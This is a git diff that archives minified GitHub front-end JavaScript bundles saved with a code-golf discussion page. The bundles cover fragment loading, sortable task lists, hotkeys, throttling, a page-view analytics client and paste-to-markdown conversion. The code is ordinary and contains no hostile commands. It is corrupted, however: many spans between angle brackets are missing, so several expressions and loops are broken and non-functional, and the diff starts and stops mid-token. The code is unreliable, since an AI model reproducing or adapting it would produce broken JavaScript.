nput.removeEventListener("input",this.inputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list.removeEventListener("click",w)}navigate(a=1){const l=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(_)[0],r=Array.from(this.list.querySelectorAll('[role="option"]')).filter(_),c=r.indexOf(l);if(c===r.length-1&&a===1||c===0&&a===-1){this.clearSelection(),this.input.focus();return}let m=a===1?0:r.length-1;if(l&&c>=0){const h=c+a;h>=0&&h0||t.offsetHeight>0)}o(_,"visible");function d(t,a){a.isComposing=t.type==="compositionstart",!!document.getElementById(a.input.getAttribute("aria-controls")||"")&&a.clearSelection()}o(d,"trackComposition");function e(t,a){n(t,a)||(t.scrollTop=a.offsetTop)}o(e,"scrollTo");function n(t,a){const l=t.scrollTop,r=l+t.clientHeight,c=a.offsetTop,m=c+a.clientHeight;return c>=l&&m<=r}o(n,"inViewport")},27034:(D,x,M)=>{M.d(x,{Z:()=>d});const v=new WeakMap,u=new IntersectionObserver(e=>{for(const n of e)if(n.isIntersecting){const{target:t}=n;if(u.unobserve(t),!(t instanceof d))return;t.loading==="lazy"&&w(t)}},{rootMargin:"0px 0px 256px 0px",threshold:.01});function S(){return new Promise(e=>setTimeout(e,0))}o(S,"task");async function w(e){return u.unobserve(e),p(e).then(function(n){const t=document.createElement("template");t.innerHTML=n;const a=document.importNode(t.content,!0);!e.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:{fragment:a}}))||(e.replaceWith(a),e.dispatchEvent(new CustomEvent("include-fragment-replaced")))},function(){e.classList.add("is-error")})}o(w,"handleData");function p(e){const n=e.src;let t=v.get(e);return t&&t.src===n?t.data:(n?t=y(e):t=Promise.reject(new Error("missing src")),v.set(e,{src:n,data:t}),t)}o(p,"getData");function y(e){return S().then(()=>(e.dispatchEvent(new Event("loadstart")),e.fetch(e.request()))).then(n=>{if(n.status!==200)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);const t=n.headers.get("Content-Type");if(!_(e.accept)&&(!t||!t.includes(e.accept?e.accept:"text/html")))throw new Error(`Failed to load resource: expected ${e.accept||"text/html"} but was ${t}`);return n.text()}).then(n=>(S().then(()=>{e.dispatchEvent(new Event("load")),e.dispatchEvent(new Event("loadend"))}),n),n=>{throw S().then(()=>{e.dispatchEvent(new Event("error")),e.dispatchEvent(new Event("loadend"))}),n})}o(y,"fetchDataWithEvents");function _(e){return e&&!!e.split(",").find(n=>n.match(/^\s*\*\/\*/))}o(_,"isWildcard");class d extends HTMLElement{static get observedAttributes(){return["src","loading"]}get src(){const n=this.getAttribute("src");if(n){const t=this.ownerDocument.createElement("a");return t.href=n,t.href}else return""}set src(n){this.setAttribute("src",n)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(n){this.setAttribute("loading",n)}get accept(){return this.getAttribute("accept")||""}set accept(n){this.setAttribute("accept",n)}get data(){return p(this)}attributeChangedCallback(n,t){n==="src"?this.isConnected&&this.loading==="eager"&&w(this):n==="loading"&&this.isConnected&&t!=="eager"&&this.loading==="eager"&&w(this)}constructor(){super();this.attachShadow({mode:"open"}).innerHTML=` + + `}connectedCallback(){this.src&&this.loading==="eager"&&w(this),this.loading==="lazy"&&u.observe(this)}request(){const n=this.src;if(!n)throw new Error("missing src");return new Request(n,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"text/html"}})}load(){return p(this)}fetch(n){return fetch(n)}}o(d,"IncludeFragmentElement"),window.customElements.get("include-fragment")||(window.IncludeFragmentElement=d,window.customElements.define("include-fragment",d))},40987:(D,x,M)=>{M.d(x,{Z:()=>l});const v=new WeakMap;let u=null;function S(){return!!u}o(S,"isDragging");function w(i,s,f){v.set(i,{sortStarted:s,sortFinished:f}),i.addEventListener("dragstart",_),i.addEventListener("dragenter",d),i.addEventListener("dragend",n),i.addEventListener("drop",e),i.addEventListener("dragover",t)}o(w,"sortable");function p(i,s){if(i.parentNode===s.parentNode){let f=i;for(;f;){if(f===s)return!0;f=f.previousElementSibling}}return!1}o(p,"isBefore");function y(i,s){return i.closest("task-lists")===s.closest("task-lists")}o(y,"isSameContainer");function _(i){if(i.currentTarget!==i.target)return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".contains-task-list");if(!f||(s.classList.add("is-ghost"),i.dataTransfer&&i.dataTransfer.setData("text/plain",(s.textContent||"").trim()),!s.parentElement))return;const C=Array.from(s.parentElement.children),F=C.indexOf(s),B=v.get(s);B&&B.sortStarted(f),u={didDrop:!1,dragging:s,dropzone:s,sourceList:f,sourceSibling:C[F+1]||null,sourceIndex:F}}o(_,"onDragStart");function d(i){if(!u)return;const s=i.currentTarget;if(s instanceof Element){if(!y(u.dragging,s)){i.stopPropagation();return}i.preventDefault(),i.dataTransfer&&(i.dataTransfer.dropEffect="move"),u.dropzone!==s&&(u.dragging.classList.add("is-dragging"),u.dropzone=s,p(u.dragging,s)?s.before(u.dragging):s.after(u.dragging))}}o(d,"onDragEnter");function e(i){if(!u)return;i.preventDefault(),i.stopPropagation();const s=i.currentTarget;if(!(s instanceof Element)||(u.didDrop=!0,!u.dragging.parentElement))return;let f=Array.from(u.dragging.parentElement.children).indexOf(u.dragging);const C=s.closest(".contains-task-list");if(!C||u.sourceIndex===f&&u.sourceList===C)return;u.sourceList===C&&u.sourceIndex{const C=f.target;C instanceof HTMLInputElement&&(!C.classList.contains("task-list-item-checkbox")||this.dispatchEvent(new CustomEvent("task-lists-check",{bubbles:!0,detail:{position:k(C),checked:C.checked}})))});const s=new MutationObserver(L.bind(null,this));a.set(this,s),s.observe(this,{childList:!0,subtree:!0}),L(this)}disconnectedCallback(){const s=a.get(this);s&&s.disconnect()}get disabled(){return this.hasAttribute("disabled")}set disabled(s){s?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute("sortable")}set sortable(s){s?this.setAttribute("sortable",""):this.removeAttribute("sortable")}static get observedAttributes(){return["disabled"]}attributeChangedCallback(s,f,C){if(f!==C)switch(s){case"disabled":R(this);break}}}o(l,"TaskListsElement");const r=document.createElement("template");r.innerHTML=` + + + `;const c=new WeakMap;function m(i){if(c.get(i))return;c.set(i,!0);const s=i.closest("task-lists");if(!(s instanceof l)||s.querySelectorAll(".task-list-item").length<=1)return;const f=r.content.cloneNode(!0),C=f.querySelector(".handle");if(i.prepend(f),!C)throw new Error("handle not found");C.addEventListener("mouseenter",P),C.addEventListener("mouseleave",H),w(i,T,q),i.addEventListener("mouseenter",A),i.addEventListener("mouseleave",h)}o(m,"initItem");function A(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest("task-lists");f instanceof l&&f.sortable&&!f.disabled&&s.classList.add("hovered")}o(A,"onListItemMouseOver");function h(i){const s=i.currentTarget;s instanceof Element&&s.classList.remove("hovered")}o(h,"onListItemMouseOut");function k(i){const s=b(i);if(!s)throw new Error(".contains-task-list not found");const f=i.closest(".task-list-item"),C=Array.from(s.children).filter(B=>B.tagName==="LI"),F=f?C.indexOf(f):-1;return[O(s),F]}o(k,"position");function b(i){const s=i.parentElement;return s?s.closest(".contains-task-list"):null}o(b,"taskList");function E(i){return b(i)===g(i)}o(E,"isRootTaskList");function g(i){const s=b(i);return s?g(s)||s:null}o(g,"rootTaskList");function L(i){const s=i.querySelectorAll(".contains-task-list > .task-list-item");for(const f of s)E(f)&&m(f);R(i)}o(L,"syncState");function R(i){for(const s of i.querySelectorAll(".task-list-item"))s.classList.toggle("enabled",!i.disabled);for(const s of i.querySelectorAll(".task-list-item-checkbox"))s instanceof HTMLInputElement&&(s.disabled=i.disabled)}o(R,"syncDisabled");function O(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");return Array.from(s.querySelectorAll("ol, ul")).indexOf(i)}o(O,"listIndex");const I=new WeakMap;function T(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");I.set(s,Array.from(s.querySelectorAll("ol, ul")))}o(T,"onSortStart");function q({src:i,dst:s}){const f=i.list.closest("task-lists");if(!f)return;const C=I.get(f);!C||(I.delete(f),f.dispatchEvent(new CustomEvent("task-lists-move",{bubbles:!0,detail:{src:[C.indexOf(i.list),i.index],dst:[C.indexOf(s.list),s.index]}})))}o(q,"onSorted");function P(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");if(!f)return;const C=f.closest("task-lists");C instanceof l&&C.sortable&&!C.disabled&&f.setAttribute("draggable","true")}o(P,"onHandleMouseOver");function H(i){if(S())return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");!f||f.setAttribute("draggable","false")}o(H,"onHandleMouseOut"),window.customElements.get("task-lists")||(window.TaskListsElement=l,window.customElements.define("task-lists",l))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-f8db72a328a9.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js new file mode 100644 index 0000000..4e18cc6 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var D=Object.defineProperty;var c=(x,C)=>D(x,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"],{46263:(x,C,N)=>{N.d(C,{D:()=>b,P:()=>p});function p(_,m=0,{start:y=!0,middle:u=!0,once:w=!1}={}){let h=0,l,f=!1;function v(...k){if(f)return;const T=Date.now()-h;h=Date.now(),y?(y=!1,_.apply(this,k),w&&v.cancel()):(u&&T{h=Date.now(),_.apply(this,k),w&&v.cancel()},u?m-T:m))}return c(v,"fn"),v.cancel=()=>{clearTimeout(l),f=!0},v}c(p,"throttle");function b(_,m=0,{start:y=!1,middle:u=!1,once:w=!1}={}){return p(_,m,{start:y,middle:u,once:w})}c(b,"debounce")},11793:(x,C,N)=>{N.d(C,{EL:()=>u,N9:()=>W,Tz:()=>S});class p{constructor(o){this.children=[],this.parent=o}delete(o){const r=this.children.indexOf(o);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(o){return this.children.push(o),this}}c(p,"Leaf");class b{constructor(o){this.parent=null,this.children={},this.parent=o||null}get(o){return this.children[o]}insert(o){let r=this;for(let g=0;gd.filter(n=>n!=="")).filter(d=>d.length>0)}c(y,"expandHotkeyToEdges");function u(a){const{ctrlKey:o,altKey:r,metaKey:g,key:d}=a,n=[],e=[o,r,g,h(a)];for(const[t,i]of e.entries())i&&n.push(w[t]);return w.includes(d)||n.push(d),n.join("+")}c(u,"hotkey");const w=["Control","Alt","Meta","Shift"];function h(a){const{shiftKey:o,code:r,key:g}=a;return o&&!(r.startsWith("Key")&&g.toUpperCase()===g)}c(h,"showShift");const l=new b,f=new WeakMap;let v=l,k=null,T=[];function P(){T=[],k=null,v=l}c(P,"resetTriePosition");function I(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}k!=null&&window.clearTimeout(k),k=window.setTimeout(P,1500);const o=v.get(u(a));if(!o){P();return}if(T.push(u(a)),v=o,o instanceof p){const r=a.target;let g=!1,d;const n=_(r);for(let e=o.children.length-1;e>=0;e-=1){d=o.children[e];const t=d.getAttribute("data-hotkey-scope");if(!n&&!t||n&&r.id===t){g=!0;break}}d&&g&&(m(d,T),a.preventDefault()),P()}}c(I,"keyDownHandler");function W(a,o){Object.keys(l.children).length===0&&document.addEventListener("keydown",I);const g=y(o||a.getAttribute("data-hotkey")||"").map(d=>l.insert(d).add(a));f.set(a,g)}c(W,"install");function S(a){const o=f.get(a);if(o&&o.length)for(const r of o)r&&r.delete(a);Object.keys(l.children).length===0&&document.removeEventListener("keydown",I)}c(S,"uninstall")},86058:(x,C,N)=>{N.d(C,{R:()=>w});function p(){let h;try{h=window.top.document.referrer}catch{if(window.parent)try{h=window.parent.document.referrer}catch{}}return h===""&&(h=document.referrer),h}c(p,"getReferrer");function b(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}c(b,"getScreenResolution");function _(){let h=0,l=0;try{return typeof window.innerWidth=="number"?(l=window.innerWidth,h=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(l=document.documentElement.clientWidth,h=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(l=document.body.clientWidth,h=document.body.clientHeight),`${l}x${h}`}catch{return"unknown"}}c(_,"getBrowserResolution");function m(){return navigator.languages?navigator.languages.join(","):navigator.language||""}c(m,"getBrowserLanguages");function y(){return{referrer:p(),user_agent:navigator.userAgent,screen_resolution:b(),browser_resolution:_(),browser_languages:m(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}c(y,"getRequestContext");var u=N(82918);class w{constructor(l){this.options=l}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(l){return{page:location.href,title:document.title,context:{...this.options.baseContext,...l}}}sendPageView(l){const f=this.createEvent(l);this.send({page_views:[f]})}sendEvent(l,f){const v={...this.createEvent(f),type:l};this.send({events:[v]})}send({page_views:l,events:f}){const v={client_id:this.clientId,page_views:l,events:f,request_context:y()},k=JSON.stringify(v);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,k);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:k,keepalive:!1})}}c(w,"AnalyticsClient")},82918:(x,C,N)=>{N.d(C,{b:()=>y});let p;function b(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}c(b,"generateClientId");function _(u){const w=`GH1.1.${u}`,h=Date.now(),l=new Date(h+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${w}; expires=${l}; path=/; domain=${f}; secure; samesite=lax`}c(_,"setClientIdCookie");function m(){let u;const h=document.cookie.match(/_octo=([^;]+)/g);if(!h)return;let l=[0,0];for(const f of h){const[,v]=f.split("="),[,k,...T]=v.split("."),P=k.split("-").map(Number);P>l&&(l=P,u=T.join("."))}return u}c(m,"getClientIdFromCookie");function y(){try{const u=m();if(u)return u;const w=b();return _(w),w}catch{return p||(p=b()),p}}c(y,"getOrCreateClientId")},88149:(x,C,N)=>{N.d(C,{n:()=>p});function p(b="ha"){let _;const m={},y=document.head.querySelectorAll(`meta[name^="${b}-"]`);for(const u of Array.from(y)){const{name:w,content:h}=u,l=w.replace(`${b}-`,"").replace(/-/g,"_");l==="url"?_=h:m[l]=h}if(!_)throw new Error(`AnalyticsClient ${b}-url meta tag not found`);return{collectorUrl:_,...Object.keys(m).length>0?{baseContext:m}:{}}}c(p,"getOptionsFromMeta")},38772:(x,C,N)=>{N.d(C,{dy:()=>o,sY:()=>r,Au:()=>n});var p=N(69567);const b=new WeakSet;function _(e){return b.has(e)}c(_,"isDirective");function m(e,t){return _(t)?(t(e),!0):!1}c(m,"processDirective");function y(e){return(...t)=>{const i=e(...t);return b.add(i),i}}c(y,"directive");const u=new WeakMap;class w{constructor(t,i){this.element=t,this.type=i,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(t){typeof t=="function"?this.handleEvent=t.bind(this.element):typeof t=="object"&&typeof t.handleEvent=="function"?this.handleEvent=t.handleEvent.bind(t):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(t){u.has(t.element)||u.set(t.element,new Map);const i=t.attributeName.slice(2),s=u.get(t.element);return s.has(i)?s.get(i):new w(t.element,i)}}c(w,"EventHandler");function h(e,t){return e instanceof p.sV&&e.attributeName.startsWith("on")?(w.for(e).set(t),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}c(h,"processEvent");function l(e,t){return t instanceof S&&e instanceof p.GZ?(t.renderInto(e),!0):!1}c(l,"processSubTemplate");function f(e,t){return t instanceof DocumentFragment&&e instanceof p.GZ?(t.childNodes.length&&e.replace(...t.childNodes),!0):!1}c(f,"processDocumentFragment");function v(e){return typeof e=="object"&&Symbol.iterator in e}c(v,"isIterable");function k(e,t){if(!v(t))return!1;if(e instanceof p.GZ){const i=[];for(const s of t)if(s instanceof S){const E=document.createDocumentFragment();s.renderInto(E),i.push(...E.childNodes)}else s instanceof DocumentFragment?i.push(...s.childNodes):i.push(String(s));return i.length&&e.replace(...i),!0}else return e.value=Array.from(t).join(" "),!0}c(k,"processIterable");function T(e,t){m(e,t)||(0,p.W_)(e,t)||h(e,t)||l(e,t)||f(e,t)||k(e,t)||(0,p.Al)(e,t)}c(T,"processPart");const P=new WeakMap,I=new WeakMap,W=new WeakMap;class S{constructor(t,i,s){this.strings=t,this.values=i,this.processor=s}get template(){if(P.has(this.strings))return P.get(this.strings);{const t=document.createElement("template"),i=this.strings.length-1;return t.innerHTML=this.strings.reduce((s,E,F)=>s+E+(Ft=>{g.has(t)||g.set(t,{i:e.length});const i=g.get(t);for(let s=0;s{st=>{if(!(t instanceof p.GZ))return;const i=document.createElement("template");i.innerHTML=e;const s=document.importNode(i.content,!0);t.replace(...s.childNodes)})},69567:(x,C,N)=>{N.d(C,{sV:()=>u,GZ:()=>v,R:()=>d,AQ:()=>k,W_:()=>P,Al:()=>T,XK:()=>W});function*p(n){let e="",t=0,i=!1;for(let s=0;stypeof i=="string"?i:i.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,t)}}}c(w,"AttributeValueSetter");var h=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},l=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},f;class v{constructor(e,t){this.expression=t,f.set(this,void 0),h(this,f,[e]),e.textContent=""}get value(){return l(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return l(this,f)[0].previousSibling}get nextSibling(){return l(this,f)[l(this,f).length-1].nextSibling}replace(...e){const t=e.map(i=>typeof i=="string"?new Text(i):i);t.length||t.push(new Text("")),l(this,f)[0].before(...t);for(const i of l(this,f))i.remove();h(this,f,t)}}c(v,"NodeTemplatePart"),f=new WeakMap;function k(n){return{createCallback(e,t,i){this.processCallback(e,t,i)},processCallback(e,t,i){var s;if(!(typeof i!="object"||!i)){for(const E of t)if(E.expression in i){const F=(s=i[E.expression])!==null&&s!==void 0?s:"";n(E,F)}}}}}c(k,"createProcessor");function T(n,e){n.value=String(e)}c(T,"processPropertyIdentity");function P(n,e){return typeof e=="boolean"&&n instanceof u&&typeof n.element[n.attributeName]=="boolean"?(n.booleanValue=e,!0):!1}c(P,"processBooleanAttribute");const I=k(T),W=k((n,e)=>{P(n,e)||T(n,e)});var S=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},a=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},o,r;function*g(n){const e=n.ownerDocument.createTreeWalker(n,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let t;for(;t=e.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let i=0;i{var he=Object.defineProperty;var i=(N,M)=>he(N,"name",{value:M,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537"],{52769:(N,M,E)=>{"use strict";E.d(M,{Ld:()=>oe});function b(f,y){var k,C,O;const q=f.value.slice(0,(k=f.selectionStart)!==null&&k!==void 0?k:void 0),Y=f.value.slice((C=f.selectionEnd)!==null&&C!==void 0?C:void 0);let J=!0;f.contentEditable="true";try{J=document.execCommand("insertText",!1,y)}catch{J=!1}if(f.contentEditable="false",J&&!f.value.slice(0,(O=f.selectionStart)!==null&&O!==void 0?O:void 0).endsWith(y)&&(J=!1),!J){try{document.execCommand("ms-beginUndoUnit")}catch{}f.value=q+y+Y;try{document.execCommand("ms-endUndoUnit")}catch{}f.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))}}i(b,"insertText");const _=new WeakMap;function h(f){const{currentTarget:y}=f,k=f.code==="KeyV"&&(f.ctrlKey||f.metaKey)&&f.shiftKey;(k||k&&f.altKey)&&_.set(y,!0)}i(h,"setSkipFormattingFlag");function v(f){const{currentTarget:y}=f;_.delete(y)}i(v,"unsetSkipFormattedFlag");function e(f){var y;return(y=_.get(f))!==null&&y!==void 0?y:!1}i(e,"shouldSkipFormatting");function o(f,...y){f.addEventListener("keydown",h);for(const k of y)k(f);f.addEventListener("paste",v)}i(o,"installAround");function t(f){f.removeEventListener("keydown",h),f.removeEventListener("paste",v)}i(t,"uninstall$5");function n(f){f.addEventListener("paste",l)}i(n,"install$4");function r(f){f.removeEventListener("paste",l)}i(r,"uninstall$4");function l(f){const y=f.clipboardData,{currentTarget:k}=f;if(e(k)||!y||!c(y))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;let O=y.getData("text/plain");const q=y.getData("text/html"),Y=q.replace(/\u00A0/g," ").replace(/\uC2A0/g," ");if(!q||(O=O.trim(),!O))return;const Z=new DOMParser().parseFromString(Y,"text/html"),Q=Z.createTreeWalker(Z.body,NodeFilter.SHOW_ELEMENT,fe=>fe.parentNode&&s(fe.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT),se=u(O,Q);se!==O&&(f.stopPropagation(),f.preventDefault(),b(C,se))}i(l,"onPaste$4");function u(f,y){var k;let C=y.firstChild(),O=f,q=0,Y=0;const J=1e4;for(;C&&Y=0)if(s(C)){const se=m(C,Z);O=O.slice(0,Q)+se+O.slice(Q+Z.length),q=Q+se.length}else q=Q+Z.length;C=y.nextNode()}return Y===J?f:O}i(u,"convertToMarkdown");function a(f){return!f||(f==null?void 0:f.trim().length)===0}i(a,"isEmptyString");function s(f){var y;return((y=f.tagName)===null||y===void 0?void 0:y.toLowerCase())==="a"&&f.hasAttribute("href")}i(s,"isLink");function c(f){return f.types.includes("text/html")}i(c,"hasHTML");function m(f,y){const k=f.href||"";let C="";return g(f)?C=y:d(f)||p(k,y)?C=k:C=`[${y}](${k})`,C}i(m,"linkify$2");function d(f){return f.className.indexOf("commit-link")>=0||!!f.getAttribute("data-hovercard-type")&&f.getAttribute("data-hovercard-type")!=="user"}i(d,"isSpecialLink");function p(f,y){return f=f.slice(-1)==="/"?f.slice(0,-1):f,y=y.slice(-1)==="/"?y.slice(0,-1):y,f.toLowerCase()===y.toLowerCase()}i(p,"areEqualLinks");function g(f){var y;return((y=f.textContent)===null||y===void 0?void 0:y.slice(0,1))==="@"&&f.getAttribute("data-hovercard-type")==="user"}i(g,"isUserMention");function w(f){f.addEventListener("dragover",$),f.addEventListener("drop",I),f.addEventListener("paste",z)}i(w,"install$3");function x(f){f.removeEventListener("dragover",$),f.removeEventListener("drop",I),f.removeEventListener("paste",z)}i(x,"uninstall$3");function I(f){const y=f.dataTransfer;if(!y||ee(y)||!te(y))return;const k=ne(y);if(!k.some(T))return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k.map(X).join(""))}i(I,"onDrop$1");function $(f){const y=f.dataTransfer;y&&(y.dropEffect="link")}i($,"onDragover$1");function z(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!te(k))return;const C=ne(k);if(!C.some(T))return;f.stopPropagation(),f.preventDefault();const O=f.currentTarget;O instanceof HTMLTextAreaElement&&b(O,C.map(X).join(""))}i(z,"onPaste$3");function X(f){return T(f)?` +![](${f}) +`:f}i(X,"linkify$1");function ee(f){return Array.from(f.types).indexOf("Files")>=0}i(ee,"hasFile$1");function te(f){return Array.from(f.types).indexOf("text/uri-list")>=0}i(te,"hasLink");function ne(f){return(f.getData("text/uri-list")||"").split(`\r +`)}i(ne,"extractLinks");const P=/\.(gif|png|jpe?g)$/i;function T(f){return P.test(f)}i(T,"isImageLink");function A(f){f.addEventListener("paste",S)}i(A,"install$2");function R(f){f.removeEventListener("paste",S)}i(R,"uninstall$2");function S(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!F(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/plain");if(!O||!H(O)||D(C))return;const q=C.value.substring(C.selectionStart,C.selectionEnd);!q.length||H(q.trim())||(f.stopPropagation(),f.preventDefault(),b(C,U(q,O)))}i(S,"onPaste$2");function F(f){return Array.from(f.types).includes("text/plain")}i(F,"hasPlainText");function D(f){const y=f.selectionStart||0;return y>1?f.value.substring(y-2,y)==="](":!1}i(D,"isWithinLink");function U(f,y){return`[${f}](${y})`}i(U,"linkify");function H(f){return/^https?:\/\//i.test(f)}i(H,"isURL");function B(f){f.addEventListener("dragover",ce),f.addEventListener("drop",G),f.addEventListener("paste",ie)}i(B,"install$1");function re(f){f.removeEventListener("dragover",ce),f.removeEventListener("drop",G),f.removeEventListener("paste",ie)}i(re,"uninstall$1");function G(f){const y=f.dataTransfer;if(!y||le(y))return;const k=L(y);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(G,"onDrop");function ce(f){const y=f.dataTransfer;y&&(y.dropEffect="copy")}i(ce,"onDragover");function ie(f){const{currentTarget:y}=f;if(e(y)||!f.clipboardData)return;const k=L(f.clipboardData);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(ie,"onPaste$1");function le(f){return Array.from(f.types).indexOf("Files")>=0}i(le,"hasFile");function ae(f){const y="\xA0";return(f.textContent||"").trim().replace(/\|/g,"\\|").replace(/\n/g," ")||y}i(ae,"columnText");function de(f){return Array.from(f.querySelectorAll("td, th")).map(ae)}i(de,"tableHeaders");function ue(f){const y=Array.from(f.querySelectorAll("tr")),k=y.shift();if(!k)return"";const C=de(k),O=C.map(()=>"--"),q=`${C.join(" | ")} +${O.join(" | ")} +`,Y=y.map(J=>Array.from(J.querySelectorAll("td")).map(ae).join(" | ")).join(` +`);return` +${q}${Y} + +`}i(ue,"tableMarkdown");function L(f){if(Array.from(f.types).indexOf("text/html")===-1)return;const y=f.getData("text/html");if(!//,"").replace(//,` +${q}`)}i(L,"generateText");function j(f){f.addEventListener("paste",K)}i(j,"install");function W(f){f.removeEventListener("paste",K)}i(W,"uninstall");function K(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!V(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/x-gfm");!O||(f.stopPropagation(),f.preventDefault(),b(C,O))}i(K,"onPaste");function V(f){return Array.from(f.types).indexOf("text/x-gfm")>=0}i(V,"hasMarkdown");function oe(f){return o(f,B,w,A,j,n),{unsubscribe:()=>{t(f),re(f),r(f),x(f),R(f),W(f)}}}i(oe,"subscribe")},55498:(N,M,E)=>{"use strict";E.d(M,{I:()=>a,p:()=>u});function b(s){const c=s.parentNode;if(c===null||!(c instanceof HTMLElement))throw new Error;let m=0;c instanceof HTMLOListElement&&c.start!==1&&(m=c.start-1);const d=c.children;for(let p=0;p/g,">")}i(t,"escapeAttribute");const n={INPUT(s){return s instanceof HTMLInputElement&&s.checked?"[x] ":"[ ] "},CODE(s){const c=s.textContent||"";return s.parentNode&&s.parentNode.nodeName==="PRE"?(s.textContent=`\`\`\` +${c.replace(/\n+$/,"")} +\`\`\` + +`,s):c.indexOf("`")>=0?`\`\` ${c} \`\``:`\`${c}\``},P(s){const c=document.createElement("p"),m=s.textContent||"";return c.textContent=m.replace(/<(\/?)(pre|strong|weak|em)>/g,"\\<$1$2\\>"),c},STRONG(s){return`**${s.textContent||""}**`},EM(s){return`_${s.textContent||""}_`},DEL(s){return`~${s.textContent||""}~`},BLOCKQUOTE(s){const c=(s.textContent||"").trim().replace(/^/gm,"> "),m=document.createElement("pre");return m.textContent=`${c} + +`,m},A(s){const c=s.textContent||"",m=s.getAttribute("href");return/^https?:/.test(c)&&c===m?c:m?`[${c}](${m})`:c},IMG(s){const c=s.getAttribute("alt")||"",m=s.getAttribute("src");if(!m)throw new Error;const d=s.hasAttribute("width")?` width="${t(s.getAttribute("width")||"")}"`:"",p=s.hasAttribute("height")?` height="${t(s.getAttribute("height")||"")}"`:"";return d||p?`${t(c)}`:`![${c}](${m})`},LI(s){const c=s.parentNode;if(!c)throw new Error;let m="";o(s)||(c.nodeName==="OL"?e>0&&!c.previousSibling?m=`${b(s)+e+1}\\. `:m=`${b(s)+1}. `:m="* ");const d=m.replace(/\S/g," "),p=(s.textContent||"").trim().replace(/^/gm,d),g=document.createElement("pre");return g.textContent=p.replace(d,m),g},OL(s){const c=document.createElement("li");return c.appendChild(document.createElement("br")),s.append(c),s},H1(s){const c=parseInt(s.nodeName.slice(1));return s.prepend(`${Array(c+1).join("#")} `),s},UL(s){return s}};n.UL=n.OL;for(let s=2;s<=6;++s)n[`H${s}`]=n.H1;function r(s){const c=document.createNodeIterator(s,NodeFilter.SHOW_ELEMENT,{acceptNode(p){return p.nodeName in 